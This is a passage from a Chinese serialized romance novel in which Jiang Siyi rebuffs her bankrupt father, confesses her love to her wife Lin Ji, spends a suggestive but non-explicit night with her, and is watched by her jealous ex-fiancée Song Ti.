正想着撤回,林棘回复了。 ,:【好,等你。】 姜司意:…… 是,大多数时候都回的很快,可也有忙碌的时候半小时才回的。 偏偏想撤回的时候,总会被立刻看到,立刻回应。 一点后悔的余地都没有。 姜司意只好说:【我想陪姐姐吃个饭,吃完饭就回去。】 ,:【嗯,等你。】 散装吐司:【应该不算不回家吃晚饭吧?】 一直记得林棘跟她说,以后每晚都回家吃饭这件事。 ,:【不算,等你。】 姜司意都笑了。 怎么会有人一直复读。 姜司意跟林棘发着微信,没发现Oliver徘徊在门口,看着她的背影有阵子了。 想等她的注意力从手机上移开就叫她。 伦敦交流会前,Oliver就在微信上联系过姜司意,一肚子的话想跟她说。 偏偏人家根本没回。 好不容易从伦敦回来了,Oliver想着微信不回,那还是面对面直接谈吧。 姜司意把手机放到口袋里,Oliver刚要开口,另一边的段凝唤道: “司意,开会啦。” “来了。” 姜司意端着咖啡杯拿着笔记本和段凝往会议室去,根本没看到Oliver。 Oliver想喊她,已经痛失良机…… 早上时间过得飞快。 开完会,和段凝一起去库房录入了几件新拍品。 再和收藏家联线,线上解答一些收藏组合疑问。 转眼到了午休时间。 整个办公室的同事都走了,就段凝还在等着她。 段凝:“总算忙完了你,走,对面商场新开了一家创意菜,好不容易订到位置,速去!” 段凝最是喜欢尝鲜,整个J城人气商店她都会第一时间去审判一下。 姜司意带着她业绩飞升,有好吃好玩的她也惦记着姜司意。 中午这顿饭吃得肚子鼓胀,好吃是好吃,就是吃完直犯碳晕。 回到嘉仕比楼下,姜司意看见不远处站着一个人,中年男人。 段凝本来挽着姜司意走得好好的,发现她脚步顿住。 “你先上去吧。”姜司意对段凝说。 段凝看那中年男一头花白的头发,瘦如麻杆,站在插满烟头的吸烟筒前,手里还叼着根烟。看到姜司意的时候,立刻将烟头碾灭,往她的方向走过来。 段凝:“我还是陪着你吧,那人……” 不太像好人。 后面半句没说,感觉此人五官有点熟悉。 结合年龄来看,会不会是姜司意她爸。 的确是姜骆,他在这儿等姜司意快一小时了。 段凝想了想,说:“我在远处等你,不走,有事你叫我。” 姜司意:“嗯。” 段凝走远时,给了姜骆一个“老娘盯着你”的犀利眼神。 不久之前姜骆也来过这儿。 相对于上一次开着车,带着下属,强硬地阻挡姜司意,颐指气使地质问,高高在上地指挥,这次他不仅孤身前来,身上的衣服也非常不体面的满是褶皱,有种时过境迁的苍凉感。 头发又白又乱,胡子拉碴。 看到他第一眼想到的词只有——衰老。 他像抽干了精气神,只剩一副被烟味熏到发臭的皮囊。 姜骆正要开口,有个女人从嘉仕比大厦后拐出来。 周霓。 再次接受保镖任务的周霓双臂环在身前,斜斜地靠在玻璃幕墙前,冷眼凝视姜骆。 半个字没说,已经让姜骆的胳膊凭空发痛。 威慑力十足。 远处的段凝目光一直集中在姜司意身上,与此同时给吴经理打电话。 让她现在立刻过来保护自己家金牌拍卖师! 姜骆:“司意,别怕爸爸,爸爸不会伤害你的。就是……你可能也听说了,你弟弟出了意外,现在急需要用钱。能不能借我一点应急?” 态度好到谦卑的地步。 姜司意早也料到他来的目的,只说: “我没有义务借给你。” 今天心情很好,不想被姜骆影响。 姜骆听她这么说,表情微变,“呵呵”一声。 “我就知道你是个冷心冷肺的冷血动物。本来我不想提,是你逼我的。” 姜骆握紧拳头,却也不敢真的靠近,只道: “要不是当初宋缇答应送姜骋摩托车却一直没送,他也不会去跟人打赌赛车,就为了赢下那辆摩托!他才十八岁,现在躺在医院眼神都是直的,跟死人没两样,偏偏……” 偏偏还不死。 后面半句姜骆咽了回去,缓了缓情绪,继续道: “难道你不该负责吗?现在你日子过得好了,不能不管家里。” 之前姐姐说姜骆可能来找她,她还觉得可能不会。 毕竟上次两人闹得那么难看,都扭送派出所了。 从姜骆到赵珺、姜骋,全被她拉黑,已然是彻底撕破脸。 没想到,她还是低估了姜骆的脸皮。 讨好的话说不上两句,又开始死乞白赖。 时常会对这个世界疑惑。 为什么总有人自己卑鄙龌龊,还有脸皮推卸责任,倒打一耙。 姜司意:“我日子无论是过好还是过坏,都是我自己过过来的,我和你们姜家断联多久了,从来没有仰仗你们,你比任何人都清楚。当初是姜骋向宋缇要的摩托,是他自己开的口。今天无论他是跟别人赛车撞死,还是因为别的任何事而死,也是他自己选的,都是你们自家的事。你和赵珺把他养成这样,和我没有半点关系。还是那句话,我没有义务管。” “你妈妈……” 计尽力穷,还是要提妈妈。 姜司意已经不愤怒了,因为她知道姜骆已经是具没有能量,也没有任何威慑力的空壳。 她缓缓道:“姜骆,你还没发现吗?从你把妈妈的初心、最早前创立的公司、一直最舍不得的心血出售后,你的事业就一路下坡,一落千丈,再也回不去。” 姜司意的话,让姜骆内心深处某个地方裂开了一道血红。 脸色煞白。 “你现在破产、跌入绝境,都是你自己的选择。我有没有能力帮,我都不会帮。以后无论你是妻离子散还是病魔缠身,都与我无关,我也绝不会管。” 这是她最后一次和姜骆的对话。 把心里最后一点想说的话,彻彻底底说完了。 姜司意往段凝和刚刚赶到的吴经理那头走去。 姜骆硬着头皮还想跟上去,周霓慢悠悠地走过来,挡住他。 “姜小姐说话实在太客气了。” 周霓斜睨着姜骆。 “狗东西,滚远点。”。 姜骆没给姜司意的心情,以及下午的工作造成什么影响。 就晚上和姐姐姜司聆吃饭的时候,提到这件事。 姜司聆一开始还有点担心,妹妹当时怎么没跟她说。 后来知道,部门同事以及林棘派来的保镖都保护着她,没让姜骆欺负,姜司聆就放心了。 姜司聆没有立刻回西五区,自然是怕姜骆对妹妹不利。 她在这里,有什么事起码有个商量的人。 与此同时,她也想多看看林棘和妹妹的相处。 两人结婚实在太快了,无论如何,当姐姐的都得为妹妹留个心眼。 以及,另外一件一直萦绕在她心头的事,现在终于迎来了可能性。 姜司聆:“姜家老宅被封了之后,会进行法拍吗?” 姜司意:“以姜骆的情况看,有可能。你是想……” 姜司聆点点头,“我们在那栋房子里长大,很多关于妈妈的记忆都留在那。以前没有能力,只能任姜骆和赵珺他们霸占。现在真有机会买回来,为什么不呢?” 姐姐的话让姜司意很心动。 “可惜当初妈妈创立的公司……价格太高了,不知道这辈子还有没有机会拿回来。” 姜司聆低叹一声。 姐妹俩讨论完姜家老宅的事,已经很晚了。 姜司意看了眼时间,糟糕,已经要十二点了。 说好今晚要回家的。 林棘不知道睡了没有。 姜司意往家赶的路上,把之前想对林棘表白计划再拿出来,继续筛选。 姐姐突然回来,姜家又出这些事,打乱了姜司意的表白计划。 还是很难选。 穿过点满庭院灯的院子时,姜司意想着,要不然等到婚礼的时候正好有契机能表白? 可,这个月才刚刚开始,婚礼在下个月。 还要等一个月么? 不想等。 思绪翻涌间,发现客厅的灯还亮着。 推开门,雪球已经在门口等她了。 姜司意抱起狂甩尾巴的小毛团,看到坐在沙发上正放下书的林棘。 说好今晚回来,结果弄到这么晚,姜司意有点内疚。 坐到林棘身边,主动握住她的手。 解释今天和姐姐吃饭,聊到姜家的事,一聊就忘了时间。 说到她姐,又想起认错樊青这个误会,先前都没来得及向林棘道歉。 姜司意滔滔不绝耐心解释时,林棘的手腕微转,将她反握住。 “不用说。我不会因为这点小事生气或误会。” 柔软的长卷发披在精致的锁骨上,阅读灯照亮她完美的脸侧,优雅沉静,像朵晚开的雍容之花。 指腹从姜司意的手背上抚过,清越的声线之中带着夜晚才有的质感。 “我只是在等你回家。” 极致的温柔,却像列车,从姜司意的心上轰隆隆地碾过。 酸酸胀胀地躁动着。 对一个人动心最初,会心思摇摆,或喜或悲,患得患失。 想给她浪漫,想要每一步都走得有仪式感。 但在彻底沦陷,完完全全爱上她时,那颗犹豫不决的心便豁然被打开。 只想着将她容进来,紧紧地裹住,把一切都给她。 雪球从姜司意的怀里跳到林棘的腿上。 林棘把它抱进怀中。 姜司意:“……喜欢你。” 林棘摸着雪球的脑袋,“我知道雪球喜欢我。” “不止它。” 在快速跳动至发痛的心跳中,姜司意凝视着林棘的眼睛说: “我也喜欢你。” 原来表白不需要仪式,不需要场地,不需要精挑细选。 甚至不需要一个好天气。 只需要是我,只需要是你。 【作者有话说】 林棘:今天是快被老婆宠坏的一天[爆哭][爆哭]- 那么下一章[狗头] 62 第62章 ◎根本失控了◎ 咕咚。 太安静的室内,姜司意能听到自己的吞咽声。 怎么……完全没反应。 还这样看着我? 慌张感漫上心头。 无端想到了她不愿相信的“替身”。 思绪才起了个头,就被林棘捏住下巴的动作打断。 心脏蓦然缩紧。 下巴被抬起来,林棘那张寒浸浸又美艳的脸,在灯光中缓缓靠近。 丰润柔软却很会启她唇瓣的红唇,已经到了可以接吻的距离。 热息都缓了几分。 嘶—— 林棘在她唇边轻轻地嗅着。 姜司意:? 林棘:“没有酒味。” 姜司意:。 原来是以为我喝酒了。 以为我喝了酒,在说胡话么? 没有酒味,也就是说,没喝酒却说了喜欢。 林棘的心刚刚被意外的甜蜜惊喜攻陷,就见姜司意扭开脸,从她掌控中脱离。 手中一空。 “我没喝酒啊,怎么会有酒味。” 一怒之下,姜司意起身。 起得太猛,像真的很生气。 也的确有点失落。 好不容易鼓起勇气才表白…… “司意。” 林棘想拉她的胳膊,被她先一步离开。 姜司意:“我去洗澡了。” 热气蒸腾间,把自己浸入浴缸里,沐浴精油在水面上荡开带着碎晶的樱花色。 指尖轻轻从水面划过,努力放空自己,不要去回想刚才的窘迫。 怎么能怪林棘。 自己的确一喝酒就会变得主动。 先前林棘还追到伦敦的酒会上,就因为她多喝了两杯。 可是,表白这种事,绝对不会因为酒精影响一时冲动就去做的啊。 刚才林棘是不是有点着急,还有些难过了? 酸意在心口一点点地蔓延。 别这样啊姜司意。 拍拍自己的脸。 不要让喜欢的人难过,不要做这种事。 调整好心情,吹头发的时候在镜子前整理好表情。 一会儿出去就假装什么事都没发生。 喜欢嘛,和雪球对她的那种喜欢一样,也可以…… 从浴室出来的时候,面上无懈可击,思绪还是凌乱无章。 一开门,看林棘又站在浴室边等她。 这次没看书,单纯站在这儿,专心地等她。 林棘也洗完澡了,在另一间浴室洗的。 头发是刚刚吹好的微潮状态。 不似平日里打理得井井有条的细致。 今晚她的长发有几丝不太服帖的毛躁,似乎没有情绪去管理发丝是否完美。 豁然和林棘那双闷着层层心事的眼相遇。 浓得化不开的黑,像能摄取她的魂。 刚才还在心里跟自己说,和雪球一样喜欢她也可以。 此刻被她看着,应该上前蹭蹭她才是,而不是心虚地转过身,不敢多瞧她的眸。 姜司意并不知道,林棘曾经看过多少次她的背影。 转过身,那薄薄的背影就像一把刀,轻易划开了林棘的心。 不想她再走。 双臂蓦地向前伸,从左右两边紧紧往内,把她抱个满怀。 身后忽然抱上来的力道很大,像兽,直接顶在姜司意的后脊上。 在意外中踉跄了一下,但身后人抱她抱得很重,很稳,完全没有摔倒的可能。 离开的脚步生生被打断。 身后抱着她的人在微微发颤。 “怎么不听我的回应就走了?” 林棘的声音沉在她发热的颈窝里。 隐忍之下,是无法忽略的委屈。 从林棘话语中传来星星点点的委屈,蒙在姜司意心上,成了整片的酸。 没有再离开,想听她的回应。 什么都行。 鼓噪的心跳又开始擂她的心口。 某种预感在回荡。 不敢奢望的回答,正被林棘缱绻的声音送入她的耳畔。 “我爱你,比你喜欢我还早。” 已经抱到她骨肉发痛的双臂,还能再往里收紧。 “早得多。” 奇怪,幸福感竟和心痛那么类似。 胀痛和酸涩一瞬间充溢姜司意的心。 百般思绪拧成结,又在顷刻间融化在林棘的吻中。 同款沐浴的香在唇齿间交融。 又被太深太纠缠的吻一同蒸成了热意。 卧室的门是关的,床是软的。 姜司意被吻倒在床上,身上人在沉默中逞凶。 唇齿相缠间,水红色湿软的舌被勾搅。 好深的吻,吻得姜司意薄薄的眼皮都透出桃粉。 下巴酸软,又被扣着,哪儿也逃不了,只能仰起下巴和她接吻。 水声渐浓,又燥得很。 后脊上都是汗,头发也潮湿闷热着。 还没来得及学习更有效的接吻鼻息,呼吸依旧很滚烫、很笨拙,偏偏林棘这回逞的凶和前几次吻完全不同。 眉心难耐地皱起。 细细碎碎的声音原本藏在喉咙里。 被一次次深吻抵得漏了好几声。 姜司意的手掌很窄,女人独有的纤柔、干净、白皙。 林棘从手侧边握进来,拇指压在她复杂的掌纹上,霸占她掌心里的三纹九宫。 再箍她的腕,轻易在薄薄的肌肤上留下了红痕。 红痕之下,是被吻和抚弄染透的粉。 身下人又被弄得乱糟糟的了,这次的心态却不太一样。 只想把多年以来的梦寐以求弄得更乱,更糟。 姜司意的裙摆被林棘攥在手里。 凝脂般的长腿难耐地屈起。 膝盖被扶住。 很陌生的动作,但身体的主人被吻得昏昏沉沉,软成了水。 何等姿态,只能任由林棘摆布。 膝盖被林棘的掌心焐热,发红。 腿根在抖。 姜司意的呼吸变得更凌乱了。 紧绷得整个人都缩在林棘怀里。 被林棘从耳朵开始吻,吻到耳后,到脖子,到颈窝。 一点点地安抚。 安抚得好温柔。 偏偏占有欲完全没减弱半分。 在“好乖”的鼓励中,那紧绷慢慢变成了陌生的感受。 奇异的酥与麻。 在身体里闪。 清美古典的脸庞,被侍弄出了撩人的艳色。 双眸失焦,一贯紧闭的唇都开始讨饶。 讨饶了,又被哄着“真的好乖”抱坐起来。 漫着红的细腰被禁锢,完全无法逃。 这是什么感受,陌生到迷茫。 姜司意只能圈着林棘的脖子。 膝盖夹紧她的腰。 不让自己的身子软下去,坠下去。 不像讨饶,像极了讨要。 其他怎么动作,吻都没停。 滚烫的鼻息在昏昏沉沉地交汇着。 其实姜司意也分不清到底自己是不是在讨要。 一面疑惑身体怎么会有这样的变化。 一面又觉得林棘好会吻,好会抱,聪明到她自己不知晓的地方,都能轻易找到,轻易给她。 …… 一心想要林棘能有个好睡眠,日日惦记着。 没想到今晚破坏她睡眠的人,是自己。 午夜,脱力的姜司意被林棘抱着,不知起点,垂直坠入睡眠。 梦里,林棘那只太好看的手还在揉她的身体。 于白皙细腻肌肤的上肆意留下指痕。 还有些零碎的,成长中关于林棘的回忆。 一些绕道而行的过往,悉数被拎起。 那时候,林棘好像也是这样看着她的。 无光的黑瞳里,倒映着她的身影。 一切心事都藏在里面,也被吞没得一干二净…… …… 醒来时,腰间有明显的分量,是林棘的双臂。 空调还开着,却热热的。 因为身后缠着一个人。 依旧是一整夜都不变化睡姿。 不同的是,不再是平躺,而是抱着怀中人。 手臂还紧扣着,怕人跑了似的。 昨夜太荒诞,想起自己的一片狼藉,姜司意心头突突地跳。 床单不知道什么时候换过了,很干燥洁净又舒服。 只是,她的粉色的蕾丝…… 怎么变成另一条同款白色的了? 记忆忽然回溯。 两次之后,已经软得支不起身子。 林棘边吻她,边哄着她。 丝滑的蕾丝从肌肤上蹭过的感受,还有些印象。 啊。 所以是林棘帮她换的。 耳后均匀的鼻息吹来,耳尖渐渐被烫红。 脖子也红了。 从来没想过冷淡如林棘,居然会做这种事。 她那只纤尘不染的手,会触碰那里。 从接吻到……到那什么,都厉害得不行。 这段时间的相处,以为已经挺了解她了。 没想到对她的了解还不到万分之一。 思绪散乱,想了许多,被自己想得燥热难当。 身后人的体温明显,却不想这么快离开,想继续被林棘抱着。 林棘的怀抱,有种让她踏实的紧密。 就像身后人非她不可。 最终是手机闹钟结束了一切。 林棘也醒了,怀抱松了松,姜司意伸手去关闹钟。 闹钟关闭之后,屋内好安静。 “你……” 林棘正要说什么。 姜司意立刻说:“早安。” 怕听到林棘说什么荤话,也不太敢看身后人。 姜司意假装什么事也没有,一如往常地道早安,而后蛄蛹着下床去洗漱。 一起身,双腿竟是软的,半点力气没有。 险些一屁股坐回床上。 是林棘环住她的腰,将她撑起来。 “谢谢……”姜司意晕忽忽地道谢。 “是我该道歉。” 折腾得太狠。 都讨饶了,也没放过。 姜司意不敢听后面的话,嘴里含含糊糊地说了句“又不是你的错”,之后强打精神去洗漱了。 嗡嗡嗡—— 姜司意站在镜子前刷牙。 难免在自己的脖子上检查。 嗯,锁骨之上没有明显的痕迹。 虽然又咬又舐,很有技巧地什么也没留下。 让她工作日也不用麻烦地去想如何遮遮掩掩。 锁骨之下就没那么好心了。 牙印和红痕交错着,不疼,但全是印记。 是她属于林棘的印记。 想到昨夜的交缠,眼眸有点凝滞。 她和林棘昨晚,做了非常不得了的事。 都无法怀疑是梦,无论是脖子、锁骨,还是某处隐隐的存在感,都非常直接地告诉她,她不仅越了界,还放纵林棘一次次越过底线。 虽然在林棘面前,她好像也没什么底线可言…… 思绪越飘越远。 直到余光发现林棘的身影,精神立刻紧绷了回来。 林棘从她身后过,看她刷牙刷得一本正经,全情投入,像在研究拍品般认真。 也没说话,拿起牙刷,站在她身边另外一个洗脸池前,一起刷牙。 姜司意洗了脸,擦拭脸上的水珠时,无意间看到刷完牙的林棘在清洗牙刷。 指尖上沾了水,含着灯光的水珠发亮,滴滴答答往下滴。 昨晚她也是这样弄湿了林棘的手。 淋淋落落的。 林棘想托都托不住,床单上一片湿痕。 暗暗深吸一口气,红软的耳朵已经出卖了她的心情,迅速抹完脸离开。 出于众所周知的羞赧,今早姜司意主动申请自己骑车去上班。 林棘:“骑车的话,你可能会不舒服。” 姜司意:…… 换成今天之前的她可能听不懂林棘的暗示。 现在的她,一秒听懂。 “没事,那我,走去。” 看姜司意是真心实意的,林棘只能轻轻“嗯”一声。 昨晚是她们的第一次,却做的有点过分。 不,太过分了。 林棘心里有数,根本失控了。 司意的性格内敛,得给她稍微缓一缓的时间和距离,慢慢消化。 林棘:“路上注意安全。” “……好。” 九月初的晨间气温适宜,姜司意一路开着小差,慢慢走到公司。 在公司楼下遇到段凝。 “咦,今天怎么不见我温柔美丽又多金的林棘姐姐送你来?” 说完后第一时间,段凝神色就凝住了。 不会是吵架了吧? 死嘴,问什么呢,有你什么事。 姜司意听到林棘的名字,神色有点闪烁。 “今天天气好,我想走走。” 段凝就顺着姜司意的话说:“是啊,老好了……哎?” 目光落在姜司意的脖子后面片刻,神色略变,一把拉住她。 没直接去等电梯,带她往一楼卫生间的方向去。 姜司意:“怎么了?” 到了卫生间,段凝没说废话,把随身携带的化妆包拿出来,用粉底液点在姜司意后颈处。 “干嘛呢,就这样来上班了?考虑一下我们单身狗的感受好吗?” 即便看不到脖子后面,姜司意还是一下明白了。 是吻痕…… 早上对着镜子只能检查到身前的区域,看不到脖子后面。 又回避着林棘,所以林棘也没发现,没能提醒她。 终究是有漏网之鱼。 “谢谢……” 即便是面对段凝,也好尴尬。 段凝将小翅膀上方的吻痕遮掉,色号比姜司意的皮肤要暗一点点,也还行,不算太突兀。 “跟我谢什么。”段凝贼贼地笑道,“看你和林棘姐姐感情这么好,我就放心了。我说什么来着,林棘姐姐是不是什么都特会?” 姜司意受不了,拧她的胳膊。 段凝“哎哟”一声。 “不闹了不闹了,走走走上班要迟到了。中午我请你吃饭,好好聊聊,嘻嘻嘻嘻。”。 本以为今天的工作会很累,毕竟昨晚那三次几乎推到她的极限。 没想到,除了腰腿有些酸软之外,精神很好。 除了偶尔突然溯回的存在感外,没有太让她难受的地方。 还有同事问她今天气色怎么这么好。 “气色好么?” 第一次知道,还有这功效。 忙到快中午的时候,终于有空坐下来喝点水。 喝水时,看到有林棘发来的微信。 水还没喝完,就去点开看。 ,:【会难受吗?】 是语音,贴在耳边,她温柔的气音,搔得耳朵热热痒痒的。 早上太忙了,没来得及看手机,自然也没来得及回她。 自那条没被回复的微信后,每隔半小时,林棘都会再发过来一条微信。 ,:【猫猫探头.gif】 ,:【狗狗探头.gif】 ,:【狐狸探头.gif】 ,:【卡皮巴拉探头.gif】 “咳……” 姜司意差点被水呛到。 感觉被无数个不同形态的林棘包围。 嘴角溢上无法自控的笑,姜司意靠在椅背上想了想,回复道: 【早上太忙了,没看到微信。不会难受啦……】 咻—— 微信发出去之后一分钟,林棘就回复了。 ,:【那很好受吗?】 姜司意:…… 很好受,等于很舒服……是吗? 这要人怎么回答啊。 偏偏还看似一本正经在问什么。 姜司意脸庞热得不行,还不好不回答,不想晾着林棘,毕竟都已经晾人家一早上了。 姜司意左思右想间,手机一震。 林棘来自问自答了。 ,:【散装吐司女士默认了。】 姜司意:。 都能想象,发出这条微信的林棘,肯定带着意味不明的笑意。 都来不及声讨她,又进来一条微信。 ,:【晚上见。】 晚上见。 三个字,延伸出无数的联想。 双手捧着手机,缩在角落地偷偷看老婆微信,浮想联翩的姜司意,完全忘记了声讨。 两只耳朵尖红红的。 像她最喜欢吃的草莓。 【作者有话说】 林棘:宠妻第二十八步,懂的都懂2.0[害羞] 63 第63章 ◎明丽的水色◎ 到了午饭的时间点,段凝双眼闪烁着八卦的光,过来拉姜司意去吃饭。 “走走走,我请客。” 最近她们是食堂和对面的商场两头换着吃。 两边都有好吃的档口和店铺,选择可太多了,日子也是好起来了。 带姜司意去吃一家人气拌粉店,段凝非常大气地点了两碗顶配拌粉,提交订单后,笑眯眯地问姜司意: “粉底液有没有脱?要不要给你爱情的小痕迹补个妆?” 姜司意用眼神骂她不正经,心里多少有点担心,还是转过脖子让段凝帮她看看。 她俩谁都没发现斜后方角落里坐下来一个干瘦的女人。 那女人长发已经有段时间没有做养护了,毛毛躁躁,随意披散着,毫无造型可言。 瘦削的脸庞已经不见曾经饱满时的优雅和美感,妆感再重,也无法遮挡浓浓的黑眼圈,以及弥漫周身的衰颓感。 乍看之下,恐怕没几个人能认出这是宋家千金,宋缇。 姜司意和林棘结婚这件事,对宋缇的打击是毁灭性的。 浑浑噩噩的这段日子,一直在和长得跟姜司意有点像的小明星厮混。 砸了好几百万下去,却越混越没劲。 只有一张脸,其他的都不像姜司意。 不像姜司意温柔体贴,更没有那些细腻和可爱。 甚至连还算过得去的脸,跟姜司意的视频和照片一对比,立刻就会沦为粗制滥造的仿品。 经纪人终于把小明星带走了,宋缇没再联系对方,甚至很快就忘了这档子事。 再次陷入空虚。 表姐和姜司意的事一直萦绕在她心头。 别人的生活,竟成了她生命中最重要的核心意义。 表姐为什么要和姜司意结婚? 表姐的条件那么好,为什么偏偏要选姜司意? 要不是那日听到妈妈和大姨对话,宋缇可能永远想不明白。 现在,她有些懂了。 原来表姐并不是像大家以为的那样,从小在国外读书,过着光鲜的生活,接受最最精英教育,是让人艳羡的高材生。 她竟是被拐卖了。 拐卖,会被卖到什么样的地方,经历多可怕的生活,宋缇这段时间查过,超出想象。 那绝对会是人生最大的污点。 难怪表姐的性格那么阴冷,和正常人不太一样,肯定是被拐卖的那些年造成的扭曲。 如果姜司意知道林棘有污秽的过往,性格也有重大的缺陷,还会觉得跟她共度余生是个精明的抉择吗? 至于表姐为什么非要抢姜司意,宋缇带入自己去思考。 如果是她小时候被拐卖,吃了苦受了罪,心里肯定会有积怨。 回来之后,无论是想要的还是不想要的,只要该是她的,都要抢回来。 包括曾经的未婚妻。 表姐那么强势的性格,必定比她还极端。 至于为什么现在才抢。 有可能是到现在事业稳定,赚到了足够能诱惑姜司意的资产。 又知道了她和谭雅的事,想趁虚而入。 那就说得通了,一切都明白了。 既然只是为了填补内心的遗憾,那表姐对姜司意明显只是占有欲,不会真的喜欢她。 这不是宋缇的臆想,有证据。 姜骋摔成了植物人,姜骆破产,赵珺到处求医问药,家里的管家和帮佣全都遣散了,房子被封,只能住到郊外的老破小里。 姜家那么惨,林棘完全没有要帮忙的意思。 是,姜司意和姜家的关系是不好。 可再讨厌姜家,那也是她的娘家。 没和姜司意退婚前,无论宋缇多看不上姜家,也不至于让姜家落魄于此。 姜家让她去家宴,她都去了。 无论心里怎么想,起码得面上过得去吧? 连表面工夫都不做,难道就真的一点都不管别人怎么看待她们吗?* 表姐果然是个冷心冷肺的人。 结了婚的亲家死活都完全不过问,怎么可能对姜司意真心。 人前高调,都是演的。 姜司意那种软弱的性子,就算再不满,肯定不敢忤逆表姐。 表姐阴冷的性格就是爱情绝缘体,不会懂得怎么爱人的。 宋缇看了看自己的资产,还有机会。 暂时帮助姜家度过眼下的危机,然后,把姜家老宅拍下来。 姜司意和表姐的婚姻不会长。 她很难受得了表姐的阴沉。 表姐在满足了占有欲之后,很快也会对她腻味。 等到她俩离婚,姜司意无处可去的时候,宋缇会把她接到姜家老宅里。 到时候,姜司意只能依附她。 她想如何对待姜司意,就凭她心情了。 一切都计划好了,可惜需要等待的时间实在漫长。 幻想中的雨露无法解当下的渴。 偷偷来到嘉仕比楼下,跟着姜司意和段凝到了这家餐厅,坐到不易发现的角落,点了她根本不爱吃的拌粉。 原本只是想悄悄看看姜司意,听听她会不会和好友抱怨生活。 想了解更多她现在过得不好的细节。 可是,她们在说什么? 什么粉底液遮盖?遮盖什么? 不可能是她想的那件事…… 为什么那个姓段的一副羡慕的口吻。 吻痕在后方领口附近,抹了粉底液也很容易蹭到,经过一早上的工作,红痕的确若隐若现的。 段凝帮她补妆的时候没少八卦。 私人感情的事,姜司意跟别人是不会说的。 段凝不一样,她俩是同学,毕业后又在一起工作,一同成长,共同经历了不少事,算是姜司意唯一闺蜜了。 与林棘越来越深的交往,段凝算是为数不多的见证者,一直守口如瓶,值得信赖。 姜司意对她比较能说心事。 更不用说,先前在柳姨的小吃摊,喝了点酒,已经口无遮拦过。 段凝揶揄她:“我当初说什么来着,你老婆看着就什么都会!你还污蔑人家不会谈恋爱,还说人家骁勇善战的可能性为零。” 姜司意:“我也没想到。我和林棘认识十多年,从来不知道她这么会……” “接吻”两个字说得轻之又轻。 当然,她俩不只是接吻。 其他的姜司意没好意思说。 她不好意思,有人好意思。 段凝“哟哟哟”了好几声,“啊,那你现在是怎么知道的?恐怕‘这么会’的不只是接吻吧?” 早上已经被拧过一次的段凝,开玩笑之前有了准备,立刻躲开,没被姜司意再拧到。 “我给你遮吻痕,你还拧我。你是战斗鹅吗姜司意!” 段凝拿着粉底液坐回自己的座位,拉开了距离,“犯贱”起来更肆无忌惮。 “亲身经历之后,明白我这看人的眼光有多毒了吧?咱们林棘姐姐……不,你亲亲好老婆对你有多好,瞎子都看得出来。就算之前不会,为了你的幸福也会去学。不像某个衰鬼死人。” 坐在角落里的宋缇:?? 其他的真实性两说,谁是衰鬼死人? 不会是我吧? 段凝:“算了,大喜的日子别提那个姓宋的了,晦气。” 宋缇:…… 拌粉来了,段凝库库往自己碗里加辣椒,两人一边吃一边聊了些别的。 宋缇的拌粉也来了,大半天人还僵在原地,忘了吃。 脑子嗡嗡地响。 姜司意和表姐……已经,接吻了? 表姐那种冰块一样的性子,会对谁心动,会留吻痕? 还……非常会? 连姜司意朋友好像都不怕她,还跟她很熟的样子。 所以,她们不是在做戏,是真的相爱。 怎么可能。 怎么可能…… 等宋缇回过神来时,段凝和姜司意已经吃完,回嘉仕比继续工作了。 整个下午,宋缇都失魂落魄地在附近游荡。 一直在想各种理由来安抚自己。 想等着姜司意下班,想见她一面,想得到更多关于她和表姐恩爱都是假象的证据…… 一直一直在楼下等待,看到很多人下班出来,甚至都看到了那个段凝,就是没能瞧见姜司意的身影。 直到看到一辆宾利。 表姐的宾利。 平时林棘是坚持送姜司意上班的。 下班的时间点两人都不是很确定,姜司意就让林棘别来接,她什么时候工作完自己回去。一定回去吃完饭。 今天林棘因为昨晚的事有些愧疚,也的确是想老婆,能提前半个小时见到她都好。 很利落地解决了所有工作,姜司意下班的点钟,林棘的车已经停在地下停车场了。 姜司意工作完,看到林棘的微信,立刻收拾好下楼。 坐上同一辆车,一起回家。 九月的傍晚天气很好,车窗半敞。 原本凉风习习,很舒服。 直到看到宋缇。 路边那抹灰突突的影子,正用难以置信的眼神凝视她们。 姜司意没发现宋缇,正嘴角含笑跟林棘说话。 林棘一边应她,一边不遮不掩和宋缇对视。 宋缇目光急切地往车里钻,林棘微垂眼睑,按下镀铬按键。 车窗缓缓遮蔽,挡住宋缇窥探姜司意的视线。 收获到的只有来自林棘双眸的一抹冷色。 回到家。 不想姜司意等待太久,今晚林棘就不自己下厨了,让社区会所送来晚餐。 吃饭的时候,姜司意想起了那条“晚上见”的微信。 有点心不在焉地吃完了饭,各自去洗澡回来,清清爽爽。 才八点。 今夜才刚刚开始。 林棘说:“去看电影吗?又同步了几部院线刚刚上的电影。” 私家电影院,只有她们两人的私密、浪漫的空间。 林棘会对她做什么呢…… 姜司意轻声说“好啊”的时候,心思已经完全乱了。 林棘聘请的家政团队,每周会来家里打扫、维护三次。 没有住家保姆。她俩都不喜欢私人空间里常居外人。 进入电影院,宽敞的空间里飘荡着刚刚清洁过的淡香。 和林棘惯用的檀香味很类似。 哗哗哗—— 爆米花机落了满满一大盒的焦糖爆米花。 林棘单手捧着比她脑袋还大,堆满了甜甜香味的爆米花筒,问姜司意: “想喝点什么?饮料还是酒?” 在家里约会,只有她俩独处的时候,喝点酒总是可以的吧。 而且林棘把酒也加入了选项,真选了,应该也不会反对。 姜司意走到她身边,双手接过爆米花筒。 “那喝点酒吧。” 林棘用“真是个酒鬼”的眼神看姜司意。 姜司意:“那不是你让我选……” 林棘忽然在她唇上亲了亲,把她之后的话全都堵了回去。 姜司意:…… 完全防不胜防。 林棘欣赏着被自己一亲就说不出话,脸庞肉眼可见迅速覆上红晕的女孩。 “喝甜白可以吗?” “嗯……” “随便坐哪儿都行,选个你想看的电影。等等我,我去给你倒酒。” “嗯嗯……” 又开始只会说“嗯嗯”了。 姜司意心跳得乱七八糟,抱着爆米花坐到第二排。 随手一选,都不知道自己选的是什么片。 等待林棘过来的时候,紧张得脊背有点僵。 可直到电影放映结束,放在折叠桌上的酒喝了三轮,爆米花也吃完了,她们今晚的亲密也仅限于一开始的那个吻。 姜司意:? 怎么回事。 是我想太多了吗? 林棘根本没有想要做什么…… 电影放映结束,林棘准备起身离开,姜司意还坐在位置上。 眼里有了三分醉意的姜司意:“回去了么?” 林棘又坐回来。 “怎么?” “……没事。” 原来真是自己想多了。 站起身就要离开,手腕突然被林棘拉住。 酒精加上毫无防备的拉扯,让姜司意瞬间失去了平衡。 一下坐在林棘的腿上。 还是侧身的姿势。 “抱歉……”姜司意习惯性道歉,就要起来。 腰间被环住。 整个人被箍在原地,不让她走。 